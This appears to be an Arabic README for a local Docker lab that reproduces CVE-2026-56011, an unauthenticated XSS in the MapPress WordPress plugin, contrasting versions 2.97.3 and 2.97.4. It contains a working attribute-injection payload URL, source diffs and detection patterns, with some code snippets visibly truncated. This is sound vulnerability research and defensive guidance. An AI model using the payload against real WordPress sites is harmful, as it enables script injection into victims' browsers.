
يحتوي هذا المستودع على معمل Docker محلي لإعادة إنتاج والتحقق من CVE-2026-56011، وهي ثغرة برمجة نصية عبر المواقع (Cross-Site Scripting) غير مصادق عليها تؤثر على MapPress Maps for WordPress.
MapPress Maps for WordPress عبارة عن إضافة ووردبريس تُستخدم لعرض الخرائط داخل صفحات ومقالات ووردبريس. يؤثر السلوك المعرَّض للثغرة على مسار عرض الخرائط عبر iframe الذي يمكن الوصول إليه من خلال معامل الطلب mappress=embed.
يقارن هذا المعمل بين نسختين من MapPress:
| الخدمة | إصدار MapPress | الغرض | URL |
|---|---|---|---|
| vuln | 2.97.3 | هدف المقارنة المعرَّض للثغرة | http://localhost:8081 |
| patched | 2.97.4 | هدف المقارنة المُصحَّح | http://localhost:8082 |
مسار التحقق المعروض في هذا المعمل المحلي هو:```text Unauthenticated browser request → GET /?mappress=embed → request supplies a crafted name value → vulnerable target renders name into an unquoted id attribute → injected onclick handler becomes a standalone HTML attribute → clicking the rendered MapPress component triggers alert(1) → patched target keeps the payload inside a quoted and escaped id attribute → clicking the rendered component does not trigger alert(1)
الهدف المعرض للخطر يستخدم عنوان URL هذا للمتصفح اليدوي:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
النتيجة المتوقعة للثغرة:```text Click on the rendered MapPress component → alert(1) pops up
الهدف المُرقَّع يستخدم نفس الحمولة ضد MapPress 2.97.4:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
النتيجة المتوقعة بعد التصحيح:```text Click on the rendered MapPress component → no alert appears
يعتمد هذا المختبر عمدًا على التحقق اليدوي عبر المتصفح فقط. ولا يتضمن سكربت إثبات المفهوم (PoC)، أو أتمتة المتصفح، أو سرقة بيانات الاعتماد، أو استدعاءات خارجية، أو برمجيات خبيثة، أو ثباتًا، أو نشاط ما بعد الاستغلال، أو هجمات ضد أنظمة خارجية.
## الحقائق المؤكدة
| الادعاء | الدليل | كيفية التحقق في هذا المختبر |
| -------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------- |
| CVE-2026-56011 يؤثر على MapPress Maps for WordPress. | تحدد نشرات الثغرات الأمنية البرنامج الإضافي المتأثر في ووردبريس على أنه MapPress Maps for WordPress. | راجع قسم المراجع وافحص البرنامج الإضافي المثبت في كلا هدفَي Docker. |
| إصدار المقارنة المعرَّض للثغرة في هذا المختبر هو MapPress 2.97.3. | تبني خدمة `vuln` البرنامج الإضافي باستخدام `MAPPRESS_VERSION: 2.97.3`. | افحص `docker-compose.yml` و `vuln/Dockerfile`. |
| إصدار المقارنة المصحَّح في هذا المختبر هو MapPress 2.97.4. | تبني خدمة `patched` البرنامج الإضافي باستخدام `MAPPRESS_VERSION: 2.97.4`. | افحص `docker-compose.yml` و `patched/Dockerfile`. |
| أدخل الإصدار 2.97.4 من MapPress إصلاح escape المتعلق بـ iframe. | ينص سجل تغييرات البرنامج الإضافي الرسمي للإصدار 2.97.4 على `Added: escape in iframe`. | راجع سجل تغييرات البرنامج الإضافي الرسمي في ووردبريس وقارن بين المصدر المعرَّض والمصحَّح. |
| يولّد المصدر المعرَّض اسم الخريطة داخل سمة `id` لمكوّن الويب دون علامات اقتباس. | في 2.97.3، يولّد `mappress_map.php` العنصر `<mappress-map id={$name} ...>`. | قارن مصدر الإصدار 2.97.3 بمصدر الإصدار 2.97.4. |
| يضع المصدر المصحَّح قيمة `id` بين علامتي اقتباس وينفّذ عليها escape. | في 2.97.4، يولّد `mappress_map.php` القيمة `id="` باستخدام `esc_attr($name)`. | قارن فرق التصحيح بين الإصدارين 2.97.3 و2.97.4. |
| يمكن الوصول إلى مسار iframe دون مصادقة. | يسجّل MapPress خطاف `template_redirect` عندما يكون `$_GET['mappress']` موجودًا. | أرسل طلبًا إلى `/?mappress=embed...` من متصفح دون تسجيل الدخول. |
| يقرأ مسار iframe سمات الخريطة من الطلب. | تحوّل الدالة `template_redirect()` محتوى `$_GET` إلى وسائط خريطة وتستدعي عارض iframe. | افحص `mappress.php` وأعد إنتاج عنوان URL اليدوي. |
| يسمح الهدف المعرَّض للثغرة بحقن السمات عبر `name`. | يمكن لقيمة الاسم المُصمَّمة أن تخرج من سمة `id` غير المقتبسة وتصبح `onclick=alert(1)`. | افتح عنوان URL اليدوي المعرَّض وانقر على مكوّن MapPress المعروض. |
| يمنع الهدف المصحَّح سلوك حقن السمات موضع الاختبار. | يحتفظ مخرَج الإصدار المصحَّح بالحمولة كاملة داخل سمة `id` المقتبسة. | افتح عنوان URL اليدوي المصحَّح وانقر على مكوّن MapPress المعروض. |
## الافتراضات والمجهولات
يستخدم هذا المختبر إصدار MapPress 2.97.3 كهدف مقارنة معرَّض للثغرة لأن النشرات الأمنية العامة تحدد الإصدارات حتى 2.97.3 ضمن المتأثرة، ويُظهر فرق الكود المصدري أن العرض غير المقتبس للسمة في ذلك الإصدار معرَّض للثغرة.
يستخدم هذا المختبر إصدار MapPress 2.97.4 كهدف مقارنة مصحَّح لأن النشرات الأمنية العامة تحدد 2.97.4 كإصدار مُصلَح، ويذكر سجل التغييرات الرسمي أن escape أُضيف في مسار iframe.
السلوك المعرَّض للثغرة موضع الاختبار هو مسار عرض iframe دون مصادقة:```text
GET /?mappress=embed&name=<crafted-value>
يركز هذا المختبر على التنفيذ اليدوي في المتصفح لحمولة تنبيه غير ضارة:```text name=cve56011 onclick=alert(1)
لا يحاول المختبر إثبات سلسلة توصيل مخزّنة. تُصنّف بعض النشرات الأمنية العامة الثغرة على أنها XSS مخزّنة. يركز هذا المستودع على مستقبِل عرض iframe المؤكد من المصدر وعلى السلوك القابل للاستغلال مقابل المُصحَّح الذي يمكن إعادة إنتاجه محليًا عبر مسار `mappress=embed` غير المصادق عليه.
لا يوضح المختبر:
* استمرارية الحمولة المخزّنة،
* اختراق حساب ووردبريس،
* سرقة جلسة المسؤول،
* سرقة nonce،
* استدعاءات خارجية،
* جمع XSS أعمى،
* سرقة بيانات الاعتماد،
* تفريغ قاعدة البيانات،
* برمجيات خبيثة،
* استمرارية،
* أو هجمات ضد أنظمة غير تابعة للمختبر.
يثبت التحقق اليدوي عبر المتصفح اختلاف العرض المرتبط بالأمان:```text
MapPress 2.97.3:
crafted name value becomes executable onclick attribute
MapPress 2.97.4:
crafted name value remains inside the quoted id attribute
السبب الجذري لـ CVE-2026-56011 هو ترميز إخراج غير صحيح لقيمة name الخاصة بالخريطة عندما يعرض MapPress مكوّن ويب داخل مسار إخراج خريطة iframe.
مسار الكود المعرّض للخطر يقبل سمات تقديم الخريطة من الطلب ويعرض في النهاية عنصر HTML مخصصًا:```html <mappress-map ...>
في MapPress 2.97.3، يتم إدراج اسم الخريطة مباشرةً في سمة `id` بدون علامات اقتباس وبدون تهريب سياق السمة:```php
return "<div></div>\r\n<mappress-map id={$name} {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
هذا غير آمن لأن القيمة تُستخدم في سياق سمة HTML. إذا كان المهاجم يتحكم في name، فإن قيمة تحتوي على مسافة يمكن أن تُنهي قيمة id المقصودة وتُدخل سمة جديدة.
يمكن تلخيص السلوك القابل للاستغلال على النحو التالي:```text Attacker sends unauthenticated iframe request → name = cve56011 onclick=alert(1) → MapPress sanitizes the value as text → sanitized text is still unsafe for an unquoted HTML attribute → renderer outputs id=cve56011 onclick=alert(1) → onclick becomes a standalone event handler attribute → user clicks the rendered component → JavaScript executes
النقطة المهمة هي أن تعقيم النص العام ليس هو نفسه الهروب الصحيح للمخرجات.
يستخدم الكود الضعيف `sanitize_text_field()` على اسم الخريطة، لكن ذلك لا يجعل القيمة آمنة لخاصية HTML غير مقتبسة. تظل المسافات ذات معنى في خصائص HTML لأنها تفصل خاصية عن أخرى.
وبالتالي فإن المشكلة الأمنية هي:```text
User-controlled input
+ unquoted HTML attribute context
+ missing esc_attr()
= attribute injection and XSS
النسخة المُصححة تغيّر العرض بحيث تقتبس قيمة id وتهربها:```php
return "
يمكن تلخيص السلوك المُصحَّح على النحو التالي:```text
Attacker sends the same crafted name value
→ MapPress renders id="cve56011 onclick=alert(1)"
→ onclick remains text inside the id value
→ no standalone event handler attribute is created
→ clicking the component does not execute alert(1)
الدرس الأمني هو:```text Sanitize on input if needed, but always escape on output for the exact output context. For HTML attributes in WordPress, use esc_attr() and quote attribute values.
## تحليل الكود المصدري
تم تأكيد المشكلة على مستوى الكود المصدري من خلال مقارنة MapPress 2.97.3 وMapPress 2.97.4.
نقطة العرض الرئيسية موجودة في:```text
mappress_map.php
الإصدار الضعيف يعرض قيمة name كخاصية id غير مقتبسة:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "
النسخة المُصحَّحة تضع علامات الاقتباس حول السمة وتُهرِّب القيمة:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "<div></div>\r\n<mappress-map id=\"" . esc_attr($name) . "\" {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
يتم تسجيل مسار iframe عندما يحتوي الطلب على معلمة الاستعلام mappress:```php
if (isset($_GET['mappress']))
add_action('template_redirect', array(CLASS, 'template_redirect'));
معالج طلبات iframe يعيّن معلمات الاستعلام إلى وسائط الخريطة:```php
$args = array_map(function($arg) {
if ($arg == 'true')
return true;
if ($arg == 'false')
return false;
return $arg;
}, $_GET);
ثم يقوم المعالج بإنشاء أو تحميل كائن map وتحديثه بوسائط الطلب:```php $map = new Mappress_Map(); $map->update($args); $map->layout = 'left'; echo self::get_iframe($map); die();
مساعد iframe يعرض محتوى الخريطة:```php
$content = $map->display(null, true);
مسار display() يحافظ على قيمة name المقدمة غير الفارغة:```php
if (empty($this->name)) {
$this->name = (defined('DOING_AJAX') && DOING_AJAX) ? "mapp" . uniqid() : "mapp$div";
$div++;
}
هذا يعني أن قيمة `name` المقدَّمة من الطلب يمكنها الوصول إلى نقطة العرض المعرّضة للخطر.
التدفق المرتبط بالأمن هو:```text
GET parameter name
→ $_GET
→ template_redirect()
→ $map->update($args)
→ $this->name
→ display()
→ display_web_component()
→ to_html()
→ <mappress-map id={$name} ...>
تتم معالجة باقي سمات الخريطة المولّدة عبر مساعد يقتبس السمات. عرض id الهشّ خاص لأن name يُستخرج ويُعرض بشكل منفصل.
هذا يجعل السطح الهشّ ضيّقًا وسهل التحقق منه:```text Only the web component id rendering needs to be compared. The vulnerable version renders id without quotes. The patched version renders id with quotes and esc_attr().
## ملخص التصحيح المصدر
يصحح إصدار MapPress 2.97.4 سلوك عرض iframe المعرض للخطر عن طريق وضع قيمة سمة `id` بين علامات اقتباس وإفلاتها للعنصر المُنشأ `<mappress-map>`.
نمط الإخراج المعرض للخطر هو:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
في هذا المخرَج، يقوم المتصفح بتحليل:```text id = cve56011 onclick = alert(1)
نمط الإخراج المُرقّع هو:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
في هذا الإخراج، يقوم المتصفح بتحليل:```text id = cve56011 onclick=alert(1)
لا يتم إنشاء سمة `onclick` مستقلة.
التصحيح ذو الصلة بالأمان هو:```text
Before:
id={$name}
After:
id="<escaped name>"
الإصلاح على مستوى المصدر صغير، لكن الأثر الأمني كبير لأن المسار المتأثر يمكن الوصول إليه دون مصادقة عبر نقطة نهاية تضمين iframe.
يفصل هذا المختبر بين مراجعة المصدر والتحقق في وقت التشغيل:```text Source patch review: explains why the vulnerable version can create an executable event handler attribute.
Manual browser validation: proves that the vulnerable target can execute alert(1) and the patched target does not.
## بنية المختبر
يشغّل المختبر هدفين معزولين من ووردبريس عبر Docker Compose.```text
.
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── README.md
└── .gitignore
لا يوجد دليل poc/ عن قصد. التحقق يدوي ويعتمد على المتصفح.
تستخدم خدمتا WordPress قاعدتي بيانات منفصلتين ووحدتي تخزين منفصلتين لـ WordPress:
الخدمات الافتراضية المكشوفة:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
يستخدم المختبر إصدارات محددة من إضافة MapPress:
| Target | MapPress version | Expected behavior |
| --------------------- | ---------------: | -------------------------------------------------------- |
| http://localhost:8081 | 2.97.3 | clicking the crafted component triggers alert(1) |
| http://localhost:8082 | 2.97.4 | clicking the crafted component does not trigger alert(1) |
يقوم بناء Docker بتنزيل ملف ZIP الإضافة المحدد لكل هدف من نقطة تنزيل الإضافات الرسمية في WordPress:```text
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
The WP-CLI services run automatically during lab startup. They install WordPress and activate MapPress in each target.
The lab does not create or modify the vulnerable MapPress route. The route is provided by the real MapPress plugin version installed in each target.
لا يلزم أي اعتماد على Python.
لا يلزم أي سكربت PoC.
لا يلزم تسجيل دخول إلى WordPress للتحقق اليدوي من XSS.
ابدأ المختبر من حالة نظيفة:```bash docker compose down -v --remove-orphans docker compose up -d --build
تحقق من حالة الخدمة:```bash
docker compose ps
الخدمات المتوقعة قيد التشغيل:```text db-vuln db-patched vuln patched
الأهداف المتوقعة المكشوفة:```text
http://localhost:8081
http://localhost:8082
تحقق من اكتمال تثبيت ووردبريس وتفعيل الإضافة:```bash docker compose logs wpcli-vuln wpcli-patched
رسائل الإعداد المتوقعة:```text
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
vuln setup complete
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
patched setup complete
بعد اكتمال الإعداد، يجب أن تُرجع صفحة تسجيل الدخول في ووردبريس HTTP 200:```bash
curl -i http://localhost:8081/wp-login.php | head
curl -i http://localhost:8082/wp-login.php | head
إذا تمت إعادة توجيه الصفحة الرئيسية مؤقتًا إلى `/wp-admin/install.php`، فقد يكون إعداد WP-CLI لا يزال قيد الإكمال. انتظر حتى تظهر رسائل اكتمال الإعداد في سجلات `wpcli-vuln` و`wpcli-patched`، ثم أعد المحاولة.
## التحقق اليدوي من XSS عبر التنبيه
يستخدم هذا المختبر التحقق اليدوي عبر المتصفح فقط.
لا يتم تضمين أي سكربت PoC.
لا يتطلب تسجيل الدخول.
### الهدف المعرّض للثغرة
افتح عنوان URL هذا في المتصفح:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
انقر على مكوّن MapPress المعروض.
النتيجة الضعيفة المتوقعة:```text alert(1) pops up
المعنى الأمني:```text
The crafted name value escaped the intended id attribute value and became a standalone onclick event handler.
السلوك الضعيف الذي يتم تحليله بواسطة المتصفح يعادل:```html <mappress-map id=cve56011 onclick=alert(1) ...>
يعامل المتصفح هذا على النحو التالي:```text
id = cve56011
onclick = alert(1)
عند النقر على المكوِّن، يتم تشغيل معالج الأحداث.
افتح عنوان URL هذا في متصفح:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
انقر على مكوّن MapPress المعروض.
النتيجة المتوقعة بعد التصحيح:```text
No alert appears.
المعنى الأمني:```text The crafted onclick payload is kept inside the quoted id attribute and does not become a standalone event handler.
السلوك الذي يحلّله المتصفح بعد التصحيح يعادل:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
يتعامل المتصفح مع هذا على النحو التالي:```text id = cve56011 onclick=alert(1)
لا يتم إنشاء سمة `onclick` قابلة للتنفيذ.
## النتائج المتوقعة
### الهدف الضعيف
عنوان URL اليدوي للمتصفح:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
النتيجة المتوقعة بعد النقر على المكوّن المعروض:```text alert(1) pops up
التصنيف المتوقع:```text
VULNERABLE_BEHAVIOR_OBSERVED
الإشارة المهمة للثغرة هي:```text MapPress 2.97.3
### الهدف المُصَلَّح
رابط المتصفح اليدوي:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
النتيجة المتوقعة بعد النقر على المكوّن المعروض:```text No alert appears.
التصنيف المتوقع:```text
BLOCKED_BEHAVIOR_OBSERVED
الإشارة المهمة المُصحَّحة هي:```text MapPress 2.97.4
## كيف يعمل التحقق
يرسل التحقق اليدوي طلب متصفح إلى مسار عرض iframe في MapPress:```text
/?mappress=embed
يتضمن الطلب قيمة name مصمَّمة خصيصًا:```text
cve56011 onclick=alert(1)
الطلب الكامل المعرّض للخطر هو:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
الطلب المُعدَّل الكامل هو:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
في MapPress 2.97.3، يتم إدراج قيمة `name` في سمة `id` غير محاطة بعلامات اقتباس:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
لأن السمة غير محاطة بعلامات اقتباس، فإن المسافة بعد cve56011 تبدأ سمة جديدة.
يفسّر المتصفح المخرجات على النحو التالي:```text id="cve56011" onclick="alert(1)"
عند النقر على المكوّن المقدَّم، يتم تنفيذ معالج الأحداث المُحقَن.
في MapPress 2.97.4، يتم ترميز نفس القيمة ووضعها بين علامتي اقتباس:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
يفسّر المتصفح الحمولة بأكملها كقيمة id واحدة.
لا يتم إنشاء أي معالج أحداث.
التحقق من الصلاحية يدوي عن قصد لأن الهدف هو إظهار سلوك XSS المرئي في المتصفح مباشرةً:```text vulnerable target → click → alert(1)
patched target → click → no alert
## إعادة الإنتاج اليدوي عبر المتصفح
ابدأ المختبر:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
انتظر حتى اكتمال الإعداد:```bash docker compose logs wpcli-vuln wpcli-patched
إتمام الإعداد المتوقع:```text
vuln setup complete
patched setup complete
افتح الهدف الضعيف:```text http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
انقر على مكوّن MapPress المعروض.
النتيجة المتوقعة:```text
alert(1)
افتح الهدف المُرَقَّع:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
انقر على مكوّن MapPress المعروض.
النتيجة المتوقعة:```text
No alert
لقطات الشاشة الموصى بها كدليل لكتابة ملف الأعمال:```text
## الأثر
CVE-2026-56011 حسّاس من ناحية الأمان لأن مهاجمًا غير مصادَق يمكنه صياغة عنوان URL لإطار MapPress بحقن JavaScript في مكوّن الخريطة المعروض.
يعتمد الأثر الواقعي المحتمل على كيفية تسليم عنوان URL الخبيث وأي مستخدم يفتحه.
قد يشمل الأثر المحتمل ما يلي:
* تنفيذ JavaScript يتحكم به المهاجم في متصفح الضحية،
* تصيّد أو التلاعب بواجهة المستخدم داخل نطاق WordPress المتأثر،
* الوصول إلى بيانات غير محمية بـ HttpOnly من نفس الأصل،
* تنفيذ إجراءات بصفة الضحية إذا سمحت شروط تطبيق إضافية بذلك،
* سرقة رموز CSRF أو بيانات صفحات غير محمية،
* وإساءة استخدام سياق موقع WordPress الموثوق.
يعرض هذا المختبر فقط حمولة تنبيه محلية غير ضارة:```text
onclick=alert(1)
لا يُظهر المختبر سرقة الجلسات، أو سرقة بيانات الاعتماد، أو الاستيلاء على حساب المسؤول، أو تحميل جافا سكريبت خارجي ضار، أو جمع XSS الأعمى، أو الهجمات على مواقع ووردبريس العامة.
يعتمد الخطر العملي في بيئة الإنتاج على:
تشمل المؤشرات المحتملة الطلبات الموجهة إلى مسار عرض iframe في MapPress:```text GET /?mappress=embed
قد تتضمن معاملات الاستعلام المشبوهة سلاسل نصية متعلقة بجافاسكربت في معامل `name`:```text
name=...onclick...
name=...onmouseover...
name=...onfocus...
name=...alert...
name=...script...
name=...javascript...
فكرة كشف عالية الإشارة:```text HTTP request contains: mappress=embed AND name parameter contains an event handler pattern such as on*=
مثال على طلب مشبوه:```text
GET /?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
سجلات خادم الويب أو بيانات القياس عن بُعد المحتملة للمراجعة:
mappress=embed،name المشبوهة،إجراءات المراقبة الموصى بها:
mappress=embed.%20onclick%3D.name المشبوهة.قم بترقية MapPress Maps لووردبريس إلى الإصدار 2.97.4 أو أحدث.
يغيّر التصحيح ذو الصلة مخرجات خريطة iframe بحيث تكون سمة id لمكوّن الويب المُنشأ محاطة بعلامات اقتباس ومهروبة.
السلوك ذو الصلة بالأمان:```text Before: id={$name}
After: id=""
خطوات التخفيف الموصى بها:
* قم بترقية إضافة MapPress Maps لـ WordPress إلى الإصدار 2.97.4 أو أحدث.
* فضّل أحدث إصدار متاح من الإضافة بدلاً من التوقف عند إصدار المقارنة المخبري.
* تأكد من أن إصدار الإضافة المثبت ليس ضمن النطاق المتأثر.
* امسح ذاكرات التخزين المؤقت للصفحات وذاكرات التخزين المؤقت لـ CDN بعد التحديث.
* راجع سجلات الوصول بحثًا عن طلبات `mappress=embed` المشبوهة.
* ابحث في السجلات عن قيم مشبوهة لمعامل `name`.
* فكر في قاعدة WAF مؤقتة لطلبات `mappress=embed` التي تحتوي على معالجات أحداث.
* قلّل من التعرض غير الضروري لوظائف إدارة WordPress.
* استخدم سياسة أمان محتوى تقييدية حيثما كان ذلك متوافقًا.
* حافظ على تحديث نواة WordPress والثيمات والإضافات.
دروس هندسة الأمان:
* ضع علامات اقتباس حول جميع سمات HTML.
* هرّب المخرجات بما يتناسب مع سياق الإخراج الدقيق.
* استخدم `esc_attr()` لإخراج سمات HTML في WordPress.
* لا تعتمد على `sanitize_text_field()` كبديل لتهريب المخرجات.
* أضف اختبارات انحدارية لمسارات عرض iframe والـ shortcode.
* راجع عرض مكوّنات الويب المخصصة لأن الوسوم المخصصة لا تزال تتبع قواعد تحليل HTML العادية.
## حدود الأمان
هذا المختبر مخصص للبحث الأمني المحلي والعرض التجريبي المتحكم به فقط.
لا تستخدم رابط XSS اليدوي ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
لا تستخدم بيانات اعتماد إنتاجية حقيقية، أو بيانات عملاء، أو بيانات دفع، أو مفاتيح API، أو بيانات اعتماد قاعدة بيانات، أو أسرار إنتاجية في هذا المختبر.
النطاق المقصود محدود بالخدمات المحلية لـ Docker مثل:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
الحمولة اليدوية غير ضارة عمدًا:```text onclick=alert(1)
لا يتضمن المختبر حمولات من أجل:
* سرقة ملفات تعريف الارتباط (الكوكيز),
* سرقة بيانات الاعتماد,
* سرقة رموز CSRF,
* إساءة استخدام إجراءات المسؤول,
* الاستدعاءات الخارجية,
* جمع XSS الأعمى,
* البرامج الضارة,
* الثبات,
* أدوات التصيد الاحتيالي,
* استغلال المتصفح,
* الحركة الجانبية,
* الوصول إلى بيانات العملاء,
* أو هجمات ضد الأنظمة غير المختبرية.
الهدف هو إظهار حالة تقنية واحدة محددة في بيئة خاضعة للتحكم:```text
Unauthenticated iframe request
+ crafted name parameter
+ vulnerable target creates executable event handler attribute
+ patched target keeps payload inside quoted id attribute
أوقف وأزل الحاويات والشبكات ووحدات التخزين:```bash docker compose down -v --remove-orphans
قم بإزالة صور المختبر المبنية محليًا إذا رغبت في ذلك:```bash
docker image rm cve-2026-56011-vuln cve-2026-56011-patched
تحقق من عدم بقاء أي حاويات مختبر:```bash docker compose ps
## المراجع
* سجل CVE: CVE-2026-56011
https://www.cve.org/CVERecord?id=CVE-2026-56011
* NVD: CVE-2026-56011
https://nvd.nist.gov/vuln/detail/CVE-2026-56011
* إضافة ووردبريس: MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/
* سجل تغييرات إضافة ووردبريس: MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/#developers
* Patchstack: MapPress Maps for WordPress <= 2.97.3 XSS
https://patchstack.com/database/wordpress/plugin/mappress-google-maps-for-wordpress/vulnerability/wordpress-mappress-maps-for-wordpress-plugin-2-97-3-cross-site-scripting-xss-vulnerability
* Wordfence Intelligence: MapPress Maps for WordPress <= 2.97.3
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mappress-google-maps-for-wordpress/
* قاعدة بيانات ثغرات WPScan: MapPress Maps for WordPress < 2.97.4
https://wpscan.com/vulnerability/
* تنزيل إضافة ووردبريس: MapPress 2.97.3
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
* تنزيل إضافة ووردبريس: MapPress 2.97.4
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
| الخدمة | المكوّن | الإصدار / الدور |
|---|
| db-vuln | MariaDB | قاعدة بيانات ووردبريس الضعيف |
| db-patched | MariaDB | قاعدة بيانات ووردبريس المُصحّح |
| vuln | WordPress | هدف ضعيف مع MapPress 2.97.3 |
| patched | WordPress | هدف مُصحّح مع MapPress 2.97.4 |
| wpcli-vuln | WP-CLI | يثبّت WordPress ويفعّل الإضافة |
| wpcli-patched | WP-CLI | يثبّت WordPress ويفعّل الإضافة |